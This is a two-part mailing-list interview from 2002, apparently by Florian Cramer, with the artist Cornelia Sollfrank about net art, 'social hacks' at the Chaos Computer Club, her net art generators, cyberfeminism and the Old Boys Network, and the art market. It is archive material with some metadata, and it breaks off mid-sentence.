stressed that she did\nnot want details about herself being publicized. At the end of the event\nI mentioned casually that the woman did not exist and that I had invented\nher. Some people were gobsmacked. Quite unexpectedly they had experienced\nart, an art which had come to them, to their congress, and talked in their\nlanguage. I found that very amusing. These little doses of 'pedagogy'\ncan trigger off a lot and no doubt help CCC to develop itself further.\n\nFC: There you become a hacker yourself, but in a different system from\nthat of computer codes. You do 'social hacking'.\n\nCS: Exactly - my favorite hack in the CCC concerned the Website of the\nHacker Club, the 'Lost and Found' Page, which I always liked to study\nafter every congress. I found it fascinating to discover what things\nhackers have on them and have forgotten. I then turned that around. While\nI was working on the theme 'women hackers', I deliberately left things\nat the congress so that they would turn up on the 'Lost and Found'\npage and cause commotion and upheaval. By that, I mean I left things\nthere which normally only women have or possess. The main object was a\nsmall electronic device with a display and two little lights that women\nuse to calculate their fertility cycle. I handed that in to the 'Lost\nand Found' and added that I had found it in the ladies' toilets. Five\nhackers grouped around this device and studied it ...(laughter) to find\nout what it is. This ominous device became the center of a lot of heated\ndiscussions before it was finally pinned up as a large photo in 'Lost &\nFound' Page. Those are examples of some of my small hacks at the CCC -\nback then while in the process of leaving clues to female hacker and\ncharacters who do not exist.\n\nFC: In the early nineties the art critic Thomas Wulffen coined the phrase\n'art operating system'.  Can you relate to that in any way? Or do you\nfind it problematic? Your artistic hacks that you've mentioned do not\nengage directly with the art operating system!\n\nCS: I can relate to that in a big way because what interests me most in\nart is it's operating system, the parameters which define it, and how they\ncan be changed and what the possibilities of new media contribute to this\nchange. What also belongs to the operating system is the concept of the\nartist, the notion of an artistic program, an artist's body of work, and\nlast but not least the interfaces - who and what will be exhibited and who\nwill look at it. This system is actually what interests me most in art. To\nintervene and be able to play with it I have to know how it functions.\n\nFC: But then isn't it difficult to be a net artist as well? In my\nperception of net art what astonished me most and what affects you\ntoo, is how petty bourgeois, reactionary and utterly humorless this\ncontemporary art scene really is - although one always thought it was\nthe most aesthetically permissive around. In the example of net art,\none could see how in the very moment in which no new objects were being\nproduced which lent themselves to being exhibited, that it (net art)\nlost its footing and was not given proper recognition in the art world. I\nstill find it astonishing how much net art has to fight against this\nin order to be taken seriously in the first place by the art operating\nsystem. Is that not difficult for you, as an artist, to want to try and\nhack the art operating system, and to do as a net artist?\n\nCS: First of all I do not see myself solely as a net artist, but rather\nas a kind of concept artist. I find the net indeed very interesting, and\nto be active in it fulfills many of my wishes, but that aside, I also\nwork with video, text, performance and whatever else is required for a\nparticular project. That net art is not recognized in the art world and\nhas problems there is primarily due to the fact that, in my opinion, there\nare no pieces/objects which can be exchanged from one owner to another in\na meaningful way. An art which is not compatible with the art market is\nhardly of any interest, because in the last analysis the market is the\ngoverning force in the art operating system. Another further difficulty\nis the ability to exhibit. What justification is there to show net art\nin the 'White Cube'?\n\nIn that way all curators have to ask themselves: why should we actually\nshow net art here in our museum? Some net artists quickly understood that\nthey wouldn't get far with their non-commodifiable, difficult to represent\nart in the market, and expanded to working with installations. That has\nworked well - just as it did with video art. It is not a new phenomenon\nthat is happening to net art. Before it, there was also ephemeral\nart, Fluxus and performance art for example, or technically perfect\nreproducible art forms such as video and photography. All these art\nforms had enormous problems at the beginning, but then opportunities\nsurfaced in the market and certain intermediaries really supported them\nand managed to create a space for them. And when everything becomes too\nmuch, another decade of 'new painting' is heralded in order to let the\nmarket recuperate.\n\nNevertheless I think there is an interest regarding net art in the\nart world. For a long period it was given a lot of hype, and at the\nmoment I see a kind of consolidation. Ultimately there are a few big\ninstitutions like the Guggenheim, the Tate Gallery or the Walker Art\nCenter that commission new works. What goes wrong in net art is that\nartists - I'm talking mainly about the group net.art and that scene -\nhave not developed collective strategies as to how they should deal with\nthe art system - which was one of the great strengths of the Fluxus\nartists. There is missing a willingness to accept that a problem even\nexists in the first place.\n\nTherefore the result can only be disasterous when the two worlds\ncollide. Attitudes like: \" I'll show my work at documenta or in the\nWhitney Museum, but it doesn't mean anything\" don't lead anywhere. That\nis unpolitical and weakens every single artists' position.\n\nVuc Cosic acted similarly at the Biennale 2001 in Venice. Leaving aside\nthe strange circumstances which lead to him ending up in the Slovanian\nPavillion, it was a success for net art and for him personally, and it\nwas generally an interesting Pavillion. And instead of celebrating that\n- which would have been honest - he tried to convey through his acting\nthat everything was trival and meaningless. Some people found this very\nunpleasant and there arose quite spontaneously the idea of commenting what\nwas going on. The result was the very controversial 'flower action'. In\nthe name of the Old Boys' Network three cyberfeminists handed him a\nlarge bouquet of flowers at the opening of the Pavillion in order to\ngratulate him and pay tribute to his achievements in net art.\n\nI like this action, because it works at different levels: the Slovanian\npress were proud of their artist, and insiders would remember very\nclearly Vuk's gesture - as part of the opening of the net.condition at\nzkm - of laying down a bouquet of flowers to symbolize the death of net\nart through its institutionalization. A wonderful refernce, I think. I\nbelieve too that it was also a bit painful for him.\n\nAs I said, the lack of a collective strategy for net artists was and\nstill is a big problem. In 1997, a further symptom of this occurred\nin the form of the first competition for net art a museum has launched:\nEXTENSION by the Hamburger Kunsthalle. Like the introduction of net art at\nthe documenta x, artists here were very uncertain and didn't know how they\nshould deal with the idiotic and incomprehensible conditions. And so they\ncontributed half-heartedly. This was the time when it would have been easy\nto hack the art operating system. It was definitely a missed opportunity.\n\nFC: You see yourself as a concept artist, and on your homepage there\nis a slogan that could be seen as an analogy: \"A smart artist makes the\nmachine do the work\". Is that supposed to mean that concept art actually\nwasn't concept art before machines started to process the concepts?\n\nCS: No, I wouldn't formulate it so radically, so one-dimensionally\n(laughter). Ultimately one could take slaves instead of machines to\nproduce art (laughter).\n\nFC: \u00c0 la Andy Warhol Factory...\n\nCS: Yes, somewhat similar. Or simply craftsmen and women, or keen art\nstudents who implement the master's idea.\n\nFC: ...Jeff Koons...\n\nCS: Yeah Jeff Koons is a good example. I don't think that one needs a\nmachine to realize that idea of art. If the aethetic program is developed\nwith which the artist works then it doesn't matter who produces the actual\npieces. And the artist becomes a purely representational figure... He or\nshe simply has to fit well to the 'image' of an artist set as parameter\nin the system.\n\nFC: I want to add on something there. Yesterday I read on the 'eu-gene'\nMailing List for generative art - which was set up by among others\nAdrian Ward - what I feel is the first enlightening definition of\ngenerative art. It comes from Philip Galanter, a Professor at the New\nYork University, and dovetails nicely into what you just said:\n\n\"Generative art refers to any art practice where the artist creates a\nprocess, such as a set of natural language rules, a computer program,\na machine, or other mechanism, which is then set into motion with some\ndegree of autonomy contributing to or resulting in a completed work\nof art.\"\n\nI find that an interesting definition, because it not only reflects\ncomputer art, but also spans a lot more.\n\nCS: Yes, I think so too. It's a good definition.\n\nFC: Would you say that what you do is generative art?\n\nCS: Not everything that I do. But definitely the work I've done with the\nnet art generator. Whether this set of rules he speaks about applies to\nmy work... I'd have to really give that some more thought. What seems to\nsupport this though is that my point of departure is founded on not being\ncreative, in the sense of creating new images or a new aethetic. Rather,\nI work with material that is already available. This material is then\nreshaped under certain structural conditions or simply reworked. But I\ncouldn't give a NAME to this program. (laughter)\n\nFC: I ask myself, however, whether for you in 'Female Extension' -\nwhere you submitted several hundred art websites under different female\nartist names to the net art competition EXTENSION, and which were\nin fact generated by a computer program - the generative is simply a\nvehicle, a means to an end. 'Female Extension' was also a 'social hack',\na cyberfeminist hack of the net art competition. How your generators\nwere programmed was actually pretty irrelevant!?\n\nCS: In principle, yes. (laughter) However after 'Female Extension'\nI continued to develop the concept of net art generators.\n\nFC: What springs to mind now is that in one of your net art generators,\nyou used the 'Dada Engine' by Andrew Bulhak, which is also the basis\nfor his very humorous 'Postmodern Thesis Generator'...\n\nCS: That's right. Unfortunately that is also the most complicated\ngenerator and often causes problems.\n\nFC: So the net art generators were not inspired by the 'Postmodern\nThesis Generator'?\n\nCS: No, that was different. While the competition at the Hamburger\nKunsthalle in 1997 was taking place, it was clear to me that one of\nthe crucial points was: museum wants to incorporate net art. I wanted\nto intervene and clarify things: on the one hand for the artists or net\nartists. I felt we had to watch out with how we dealt with the situation,\nso that the potential of net art - which had been acquired was used in\na subversive way - was not thrown away, given away to easily, and on\nthe other hand, that the museum was given a lesson. That's how 'Female\nExtension' came about.\n\nAt the start I intended to make all the web sites manually, using\ncopy and paste, because I was not capable of programming them. The\nprogramming happened more by chance through an artist friend of mine. I\nwas very happy with the results; the automatic generated pages looked\nvery artistic. The jury was definitely taken in by it, although none of\nmy female artists won a prize. Through 'Female Extension' and the social\nhack I got caught up in the idea to conceptualize the generators in even\nmore detail. Three versions have now been around for some time now: one,\nwhich works with images, one which combines images and texts in layers on\ntop of each other, and one that is a variation of the 'Dada Engine'. This\none is specialized in texts and invents wonderful word combinations,\nsometimes even with elements from different languages. Two more are in\ndevelopment for particular applications.\n\nFC: There is a corresponding simultaneity that can be perceived in\nvarious aesthetical processes in your new work 'Improvised Tele-vision'.\nYou are referring to Sch\u00f6neberg's piece 'Verkl\u00e4rte Nacht'. It was recoded\nby Nam June Paik, who let the record run at a quarter of its normal speed,\nand then its recoding by Dieter Roth, who restored Sch\u00f6nberg's music to\nit original tempo by speeding up Paik's version.  Then you join in, by\nbuilding a platform for the 'ultimate intervention', upon which the user\ncan decide which tempo to choose.  That immediately reminded me of the\nliterary theory of Harold Bloom, his so-called influence theory, according\nto which history of literature is the product of famous writers, who each\nin turn adopts to his/her predecessor as an oedipal super-ego (laughter)\n... and who then again manages to free him-/herself from the predecessor.\n\nCS: Oh really? The sub-title for 'Improvised Tele-vision' originally was\n'apparent oedipal fixation', which I then discarded again. (laughter)\nAnd it was the 'apparent' which was important to me.\n\nFC: That is what I assumed. There are - from my point of view - these\ntremendous artists, like Sch\u00f6nberg, Paik and Roth, who take each other\ndown from the pedestal in order to put themselves on that very pedestal.\n\nCS: Exactly. [Laughter.] By the way I've heard a similar theory in art\nhistory from Isabelle Graw, who apllied it in a lecture about Cosima\nvon Bonin to talk generally about female artists.\n\nFC: ...and clearly your work also uses it, but in a playful way. You wrote\nthat you would leave open the speed at which the piece can be played.\n\nCS: Yes, with the exception of the original speed, which cannot be played\non my platform.\n\nFC: ...with the exception of the original speed. You nevertheless write:\n\"The decision is to be made by the user/listener and not by the composer,\nor an intervening artist\". But you nevertheless set massive limits,\nfor example by not allowing a one to one recording to be heard.\n\nCS: Whoever wants to hear the original can get hold of it without any\nproblems. For me what is interesting is the fact that the three artists\nwho worked on the piece before me wanted to determine the one and only\ntempo possible. That is a gesture which I bypass by offering a tool by\nwhich the piece can be played at completely arbitrary speeds.\n\nFC: Isn't the contextualisation with Sch\u00f6nberg, Paik, Roth already a\ndefining feature? And also the decision to pack all four interventions\ninto one room, as you did in the case of the installation, which forms\nthe second part of the work?\n\nCS: Yes of course! My rhetoric about the ultimate intervention which is\nmade possible through the internet, such as participation, interactivity\nand self-definition etc. is really a pure piece of irony! (laughter)\n\nFC: Yes, that was precisely my question. Whether you really take that\nseriously or not!? Or whether that is just some na\u00efve understanding\nof interactivity.\n\nCS: It is not na\u00efve, but rather I am making fun of it. And I take my\nassumptions and lead them through the installation to the point of ad\nabsurdum. On the four walls of the space there are portraits of the four\nof us. They create the impression of being painted on canvas - but in\nfact they are nothing more than Photoshop manipulated photos - which\nwere then actually printed onto canvas and stretched onto adjustable\nwooden frames. Next to each one of them there's an artist's text which\nrefers to 'Verkl\u00e4rte Nacht'.\n\nThe sound you hear in the installation is a piece which I composed of\nfour tracks: the original by Sch\u00f6nberg, the slowed-down version by Paik\nand the speede-up version of Roth, which is practically the original,\nbut not really because of the vinyl cracklings and the fact that the\nspeed is not quite the same and is therefore not synchronous, and can only\never approximate the original. On the fourth track I play Roth's version\nbackwards. This is also a reference to Sch\u00f6nberg and his later composition\ntheory as well as twelve tone music, in which the melodic motives are\nplayed as crabs and backwards as crabs returning. I was gobsmacked how\ngood the playing backwards worked together with 'Verkl\u00e4rte Nacht'. This\nmusic has nothing to do with the web project, the ultimate intervention,\nbut is rather an additional variation of the composition. And I also found\nthe visual transformation of the portraits important; that makes it clear\nagain where I position myself and inscribe myself in the genealogy. I, as\na woman, as an essentially younger woman, accuse them of setting things,\nwhereas I leave everything open, moan about how they put themselves on\nthe pedestal and by doing so put myself on that very same pedestal.\n\nFC: Precisely. But is that not the tragedy of every anti-oedipal\nintervention, that it automatically - whether it wants to or not - becomes\ninscribed in the oedipal logic again? That's what I see in this piece!\n\nCS: If that is the case, then that's definitely tragic. Probably that's\nthe reason why I've made it into such a theme. I find the public's\nreaction amusing, which was partly very aggressive. I received\nsuch accusations as: \"You don't want to be any different than they\nare\". (laughter) What it is actually about, however, is showing the\nprocesses involved, how it functions. That I cannot extract myself\nfrom it, if I want to be part of the system, is logical. And that is a\ndecision that I made. Nevertheless I want to know and reflect on what\nthe conditions are - in other words, I want to make that precisely my\ntheme. If it becomes intolerable, then I can always step back. But I lack\nthe belief that a real alternative is possible. As long as I manage to\nhandle this, like how I'm handling it now, then I find it acceptable. It\nis a state of being simultaneously inside and outside.\n\nAnother example for this, which once again leads us back to the market\ncompatibility of net art, is the invitation of a five-star hotel to partly\ndecorate their interiors. Actually I was always fairly sure that I was\nthe last possible artist anyone would invite for such a task. But it did\ninterest me and I began to experiment with this. Fortunately I have the\nnet art generators which endlessly can produce for me, which meant I just\nhad to find a way to materialize the 'products' being created. I ended\nup making prints on canvas or paper and frame everything. That's how I\ncreate a series, series of images, and it is astonishing what actually\ntranspires. It is through the arranging however that I manage to tell\nstories, which of course is massive manipulation. In that way I find\nthe idea of the rematerialization of net art interesting - by packing\nit into accessible formats and then seeing what happens. I started by\nbeing convinced that it was not actually possible. The whole episode\ntook place with a fair bit of raised eyebrows. However, I extended the\nidea further at my first gallery exhibition that I recently had in Malm\u00f6\n(Sweden). And it was overwhelming to see what the images were like and how\nthey were flushed out of the unconscious of the net and onto the surface.\n\nFC: Is that still concept art?\n\nCS: Yes, of course. At least for me it is. I have now offered the hotel\nto let me do series for them. I insist that my images are hung in endless\nrows in a long corridor (which for other artists definitely is not an\ninteresting place). And of course I hope to make a good deal on it:\nfirst of all the money on offer is interesting. But over and above that,\nthis will be the first sale in the history of net art that is worth\nmentioning! [laughter].\n\nFC: That reminds me a little bit of Manzoni and his strategy in the\nfifties to sell air in tin cans...\n\nCS: Yes, whereby I don't sell air, rather real images (laughter). What\nis interesting however is that there is no printing technology involved\nwhich insures that the images remain in tact. They might well pale over\ntime. I sell them as products, though in a few years they could very well\nbe just white paper, which I also find an attractive thought. (laughter)\n\nFC: And with that you once again have an oedipal reference to Dieter\nRoth, who came up with the chocolate objects in the sixties and which\nare now preserved by specialised restaurateurs.\n\nCS: Yes, or the work with rubbish and mould. The ephemeral is a\nvery important aspect. And the example of the hotel is a successful\nmasterstroke for two reasons. One because I receive money, which is always\nimportant, and two, because I set an example to the net art colleagues\nwho lease or sell their web sites for ridiculously cheap sums.\n\nFC: I want to try to make the jump from here to cyberfeminism, which is\ndifficult... let's start with the key word 'strategy'...\n\nC.S.: I can tell what the term 'Cyberfeminism' means to me or how I work\nwith it, and maybe in that way we can build a bridge.\n\nFC: Perhaps I should begin like this: what always troubled me with the\nterm 'Cyberfeminism' was less the 'feminism' than the prefix 'cyber'. Does\nthat have to be?\n\nCS: [laughter] That's amazing! If the feminism had troubled you I could\nhave related to that. (laughter) But you seem to be pc... (laughter). The\ntheme 'cyber': that is \"what it is all about\". I first heard about\nCyberfeminism rolling off the tongue of Geert Lovink, and I said to him:\nwhat kind of nonsense is that? That was back then when everything went\n'Cyber': 'Cybermoney' 'Cyberbody' etc.\n\nFC: Yes, that's the point.\n\nCS: I pigeonholed it together with all that and treated it like it was\nutter nonsense. But the term lodged itself in the back of mind without\n\n\n[continued in part 2]\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Fri, 15 Mar 2002 14:51:45 +0100",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20020315135145.GG317@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00369.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Hacking the Art OS - Interview with Cornelia Sollfrank [1/2]"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00370",
                "content": "[continued from part 1]\n\n\nme knowing what it is. Later when I realized that I asked Geert again\nwhat it meant and if he could send me a few references.\n\nFC: [Laughter.]\n\nCS: But there was not much available in 1995/96. He sent me sure enough\na reference from Sadie Plant and VNS Matrix - and 'Innen', which was a\nfemale artist group which I was involved in myself. He sent me back quasi\nmy own context as a reference. That was a real little surprise. That he\nhad done this was definitely no coincidence. So I thought to myself,\nOK, I assume he knows [laughter] which references he sent to me. I\nkept mulling over that in my mind. Then came the invitation to 'Hybrid\nWorkshop' at the documenta x. Once again Geert was involved. He wanted\nme to plan a week or block - not on Cyberfeminism, but rather on one or\nother female/feminist issue. And this invitation was the catalyst for\nme to start working on the term 'Cyberfeminism'. By then I had found\nreal pleasure in it and discovered that there was an enormous potential\ninvolved and which both Sadie Plant and VNS Matrix had not capitalized\non. They had only dabbled in a few areas.\n\nWhat is interesting in Cyberfeminism is that the term is a direct\nreference to feminism, and therefore has a clearly political notion. On\nthe other hand though, due to this disastrous prefix, which sure enough\nis a real burden and very loaded, it also shows that there is something\nelse there, an additional new dimension. That this 'cyber' is present\ndoes not mean that much - apart from the fact that in all this hype it\nworked quite well. Taking a pre-fix that has popped up out of a good\ndeal of hype, and what's more using it and attaching it to something\nelse, creates a real power. Especially when everyone cries out (apart\nfrom you of course), Oh my God - feminism! It was this potential not\nto begin again from scratch with feminism, but to find a new point of\ndeparture - as well as the motivation to get people to begin engaging\nagain with this term. Theoretically we could have made an attempt to\nredefine feminism. But it's history is simply too prominent and the\nnegative image too powerful.\n\nFC: The difficulty I have with this no doubt stems from an academic\npoint of view. We are in the midst of a discussion about net culture,\nwhich includes mailing lists like Nettime and other forums, where one\nno longer has to discuss the absurdity of 'cyber' terminology. That's\nbeen done. Then along comes something that one knows is not to be\ntaken completely seriously. However when I set foot in academic\ncircles, I found myself being criticized - like I was at the Annual\nGerman Studies Convention - for debunking dispositively the terms\n'cyber'/'hyper'/'virtuel' which are still used there as discursive\ncoordinates. These terms have gathered their own dynamic and have been\nwritten down and canonized for at least the next ten years. And it is\nprecisely here that 'cyberfeminism' fits in, as a term which does not\nsound so experimental or ironic when one puts it into the context of\nsomething like Cultural Studies.\n\nCS: But what do you mean? Is that actually a problem?\n\nFC: Well, isn't it the problem that one thereby creates a discourse\nwhich in academia can gather its own dynamic and then no longer...?\n\nCS: ...in that case, yes. I fully support you there.\n\nFC: Another problem: what always becomes very apparent in the context of\nFeminism when one reviews its history from the Sufragettes to Beauvoir\nto the difference feminism of the seventies right up to Gender Studies\nis that 'Feminism' as such does not actually exist.\n\nCS: No, that's obvious.\n\nFC: There's an anthology of American feminist theory, which sensibly\nuses the title 'Feminisms' - uses the plural. Shouldn't it also be called\n'Cyberfeminisms'?\n\nCS: It's been called that often. For example in the editorial of\nthe second OBN (Old Boys Network) reader it's referred to as 'new\nCyberfeminism' and then 'Cyberfeminisms'. Or in a definition by Yvonne\nVolkart: \"Cyberfeminism is a myth and in a myth the truth, or that, which\nit engages resides in the difference between the individual narratives.\" I\nthink that is one of the really good definitions of Cyberfeminism.\n\nFC: You initiated the cyberfeminist alliance 'Old Boys Network',\nwhose Internet Domain is registered in your name. Organized by OBN the\n'Cyberfeminist International' had its first gathering at the documenta\nx. Is the impression I have right that the group or the discourse consists\nmainly of women who are active in net art culture?\n\nCS: No, that's not right. We did have our first big gathering at documenta\nx, but especially this documenta, namely the hybrid workspace where we\nwere located, brought different contexts together. Not only the art world,\nbut also the media and activist scene for example.\n\nIn the 'Old Boys Network' we have always experimented with different\norganisational forms. The ideal form does not exist. One has to somehow\norganize a network, because it doesn't exist by itself. Finally however\nthere was no form that functioned really well, which means we always have\nto conceive of new forms. For a while we had what could be identified\nas a 'core group' of five to six names. From those less than half were\nartists. There has always been a predominance of theorists, from the\nliterary experts to the art historians...\n\nFC: That means theorists who situate themselves in the context of art,\nand it reeks as ever of net art.\n\nCS: For me personally that's correct. But there are many people in OBN\nwho would refuse to see it that way. Our goal was always manifold. Our\nmain idea was not to formulate a content with a concrete political\ngoal. Instead we considered our organizational structure as a political\nexpression. To be a cyberfeminist also makes demands on us to work on\nthe level of structures and not just to turn up at conferences and hold\na seminar paper. On the contrary, it means to tend to financial matters,\nor to make a website, a publication or create an event - hence to engage\nin developing structures. And 'Politics of dissent' is a very important\nterm. It means placing the varied approaches next to each other, finding\na form so that they can coexist and act as a force field to set something\ngoing. That's why we tried to incorporate women from the CCC - female\nhackers - as well as female computer experts. Fourteen days ago at the\nthird 'Cyberfeminist International', for the first time there were several\nwomen from Asia, as well as women from 'Indymedia' [The anit-globalisation\nnews network]. It is very important to keep extending the connections.\n\nFC: I find it very interesting that you focus on structures when I ask\nyou about the term Cyberfeminism. Is it then just another platform,\nanother system that you have programmed generatively as an experiment\nto see what will happen?\n\nCS: That's pretty extreme, but yes one could say that. When I was asked\nto define Cyberfeminism, what was always important for me was building\nstructures, and like Old Boy Network disseminating the idea through\nmarketing strategies.\n\nFC: In 1997 Josephine Bosma asked you in an interview: \"Do you think\nthere are any specific issues for women online?\" - and you answered:\n\"No, I don't think so really\".\n\nCS: [Laughter.] I still believe that.\n\nFC: Yes? - That was my question.\n\nCS: After four and a half years of Cyberfeminist practice and contexts\nsuch as 'Women and New Media', and a series of lectures and events,\nI've come to the conclusion that one can divide this topic into two\nareas. One is the area of 'access', meaning, whether women have access\nto knowledge and technology, and which is a social problem. The second\narea is if the access exists, and the skills are there, what happens on\nthe net or with this medium? What factors determine WHAT is made? About\nthat there's very little which is convincing. Mostly it is a lot of\narid ill-defined essentialist crap, with which I want to have little\nto do with because it reaffirms the already existing and unfavorable\nconditions rather triggering something new. Feminist media theory that\nextends beyond this definitely is a desiderat.\n\nFC: Regarding the phrase 'essentialist crap': is my assumption right\nthat your focus of attention on systems and regulationg structures\nas experimental settings - whether that is Cyberfeminism or net\nart generators - can be see as an anti-essentialist strategy, which\nincludes your appropriations, plagiarizing and the use of already\nexisting material?\n\nCS: There are not that few female artists whos' approach is the idea\nthat women have to develop their own aesthetics in order to counteract\nthe dominant order. But I've always had problems with that and didn't\nknow what that could be without predicating myself again in strict\nroles and definitions. That is the problem with essentialism. The\nclaimed difference can easily be turned against women - even when\nthey defined it themselves. That doesn't take you anywhere and is just\nanother trap. Besides one of the miseries of identity politics was that\nthe identities certain communities and groups had developed seamlessly\ngot incorporated, for example by advertisement, what meant a complete\nturn around of its actual intentions.\n\nFC: That would be the case for the art referred to in the two volume\nSuhrkamp Anthology 'Women in Art' by Gislind Nabakowski, Helke Sander\nand Peter Gorsen...\n\nCS: I don't know that one [laughter]...\n\nFC: ...or such art as Kiki Smith's, which I see as the antithesis to\nyour work.\n\nCS: Maybe. My problem at present is nevertheless that the theme,\nCyberfeminism, has to some extent driven me into the so-called 'women's\ncorner'. What would be a broader definition and would include a more\nextensive notion of my art is hardly taken into consideration. That is\nwhy I am determined to take on other themes. The work about Sch\u00f6nberg\nwas the first step to expanding the spectrum - although as ever I still\nlike to surround myself with many great women. [laughter]...\n\nFC: When you say that you want to come out of the Cyberfeminist corner,\nI have to ask myself whether - as in the Sch\u00f6nberg installation  -\nyour anti-essentialist strategy of constructing and producing systems\nand situations as well as plagiarizing, nevertheless have a feminist\ncomponent?\n\nCS: A feminist component is always implied, because I basically have\na feminist consciousness. So all my engagement with the art system\nincludes that aspect, irrespective of what I do. That was the case in\n'Female Extension' and ... it is always implicit.\n\nFC: What I have noticed is that women are amply represented in the\ncode-experimental area of net art.\n\nCS: Really?\n\nFC: From what I've seen, yes. Jodi for example is a masculine-feminine\ncouple, the same goes for 0100101110111001.org. Then  springs to mind\nmez/Mary Anne Breeze or antiorp/Netochka Nezvanova, which we now know\nhas a woman from New Zealand forming the core figure.\n\nCS: No!!!\n\nFC: Yes!\n\nCS: Are you sure about that?\n\nFC: Yes!\n\nCS: I'm currently working on an Interview with Netochka Nezvanova...\n\nFC: ...Great!\n\nCS: Yes, she tells me everything! What she thinks about the world -\nand especially about the art world. [laughter]\n\nFC: That is someone then who also fascinates you?\n\nCS: I find it extremely interesting as a phenomenon, and ask 'her'\nthings such as...  how much does her success have to do with the fact\nshe is a woman... Ultimately though there are several people involved\nin forming the character.\n\nFC: But the core is a woman.\n\nCS: Great! A new concept of N.N. I have asked so many people about her,\nand everyone had contradictory information about her. The last theory that\nI heard led me to the media theoretician Lev Manovich as the core of N.N.\n\nFC: [laughter] It is a good concept. Another social hack and a system\nthat is triggered off...  And something that dematerializes.\n\nCS: That's why I am working on finalizing this concept. I want to kill\n'her' by doing an interview in which she reveals all of her strategies -\nsomething she would never do anyway. That is my idea...\n\nFC: In your interview with 0100101110111001.org you were pretty tough on\nthem - which by the way I thought was good - discussing the 'biennale.py'\ncomputer virus. You described that out of it an aesthetic code-attitude\nwould emerge which is not really progressive, because no one can read the\ncode. Would you nevertheless admit that this intervention was a form of\n'social hacking'?\n\nCS: Of course. That's what it is first of all. The way how the code has\nbeen aestheticized is secondary, something that happened more by mistake\nbecause the artists probably had not thought so much about the traps\nof the art system before. The virus clearly was a social hack. And it\nwould have already been sufficient to call it 'virus'. Even if the code\nwould not have worked or would have been just some nonesense it would\nnot have done any harm to the project.\n\nFC: Is it then necessary to use labels like 'net art' at all when the\nmedium is not so relevant?\n\nCS: I think it makes sense to use such labels in the beginning, when a\nnew medium is being introduced, and actual changes come along with it;\nin the phase where the actual medium is explored like jodi did for\nexample with the web/net, or Nam June Paik with video.\n\nYou could compare it with video art - which is in this sense a predecessor\nof net art. I don't think that it is useful any longer to talk of 'video\nart'. The ways how video is being used today are established and it\nbecomes more meaningful to refer to certain contents. That is, by the\nway, the problem of the whole thing called 'media art'- too much media,\ntoo little art...\n\nFC: Looking at your art, isn't it the case that projects like the net.art\ngenerator develop their concept, their systems of 'social hacks' from\nthe media?\n\nCS: That's true in this case. But it is not necessarily the way I\nwork. The term 'net.art' functioned also as a perfect marketing tool. And\nit worked until the moment it gained the success it had headed for. Then\neverything collapsed. [laughter]\n\nFC: Would it be possible for you to work in any context? We met here at\nthe annual conference of the Chaos Computer Club. But would it also be\npossible to meet at the annual congress of stamp collectors, and this\nwould be the social system you would intervene?\n\nCS: Theoretically, yes. [laughter] I think anyone who managed to get along\nwith the hackers, the hacker culture doesn't shrink back from anything -\nnot even stamp collectors or garden plot holders.\n\nFC: ... or hotel corridors.\n\nCS: No, theoretically a lot is possible, but not practically. My interest\nis not just formal and not only directed towards the operating system. It\nis an important aspect, but when the arguments and the people within\nthe system are of no interest for me, I can hardly imagine to work there.\n\nFC: That would mean at the hacker's convention your reference would be\nthat people here play with systems, and critically think about systems?\n\nCS: And what's also interesting for me is the fact that hackers are\nindependent experts, programers, who work for the sake of programming,\nand are not in services of economy or politics. That's the crucial point\nfor me. And that's also the reason why hackers are an important source\nof information for me.\n\nFC: But that takes us straight back to the classical concept of the\nautonomous artist coined in the 18th century, the freelance genius. He\nis no longer employed, and gets no commissions, but is independent and\ndoes not have to follow a given set of rules.\n\nCS: Maybe you're right, and my image of a hacker has in fact a lot to do\nwith such an image of the artist. But reflecting upon the role of art\nin society in general, I would prefer to consider art as autonomous,\nto considering the individual artist as autonomous - given that the\nidea of autonomy per se is problematic. The idea of art as observing,\npositioning oneself, commenting, trying to open up different perspectives\non what is going on in society is what I prefer. And that is exactly what\nis endangered. The contradictory thing about autonomy is that someone\nhas to protect/finance it. And it is most comfortable when governments\ndo so, like it was common here in Germany over the last decades. I think\nthis ensures the most freedom. Examples which illustrate my theory are\nPop Art and New Music; in the 60s and 70s artists from all over the\nworld came to Germany because here was public funding, and facilities\nto work which existed nowhere else. I consider it as one of the tasks\nof a government to provide money for culture. And the development we\nare facing at the moment is disasterous.\n\nA short time ago somebody asked me how I would imagine the art of\nthe future, and after thinking for a while I got the image of a an\nopen-plan office, packed with artists who work there, all looking the\nsame and getting paid by whatever corporation; the image of art which is\ncompletely taken over and submitted to the logics of economy. This does\nnot mean that I would reject all corporate sponsoring, but it should\nnot become too influential.\n\nFC: Doesn't the new media artist make the running for the others,\nbecause they are so extremely dependent on technology?\n\nCS: Absolutely, and I think this is really a major problem. They make\nthe running for the others...\n\nFC: ... but in a purely negative sense.\n\nCS: Basically yes. It is a difficult field to play on. Some artists\nare thinking of work-arounds, like low-tech, and as another example,\nI would highly appreciate if ars electronica, which obviously suffers\nfrom a lack of ideas and inspiration, would choose the topic of Free\nSoftware. They could do without their corporate sponsors, and only give\nprizes art works which are produced with the use of Free Software. It\nwould be really exciting to see what you can do with it.\n\nFC: But not to forget that Free Software is also dependent from corporate\nsponsors. You almost don't find any major Free Software project where\nno big companies are involved - directly or indirectly trying to bring\nan influence to bear.\n\nCS: At the latest with the distribution ...\n\nFC: Yes, but it starts already with the development. The GNU C-Compiler\nfor example belongs to Red Hat, IBM invests billions in developping\nLinux further, and these are, of course strategic investments. Almost\nevery well-known free developer receives his salary cheque from some\ncorporation.\n\nCS: Are you saying that Free Software, in the end, is nothing but\nanother utopia?\n\nFC: No, I wouldn't say it's an utopia which does not become true. The\ncode always stays free, and even if there's a recession, the developers\nare able to work quite self-determined. - But I do not believe that this\nequals the type of the autonomous artist.\n\nCS: We are mixing up several things now. Hackerdom for example is not a\nprofession. A hacker may be employee in a company, but this has nothing to\ndo with being a hacker. And here you can make comparisons with art. How\nabout being an artist: Is it a profession or not? Would I still be an\nartist even if I would make my money by practising a different job?\n\nI am organized in the German trade union for media workers--in the\ndepartment for artists--and am interested how generic interests of artists\ncan be represented. Being an artist should be an acknowledged profession,\nsecure, and insured like the Social 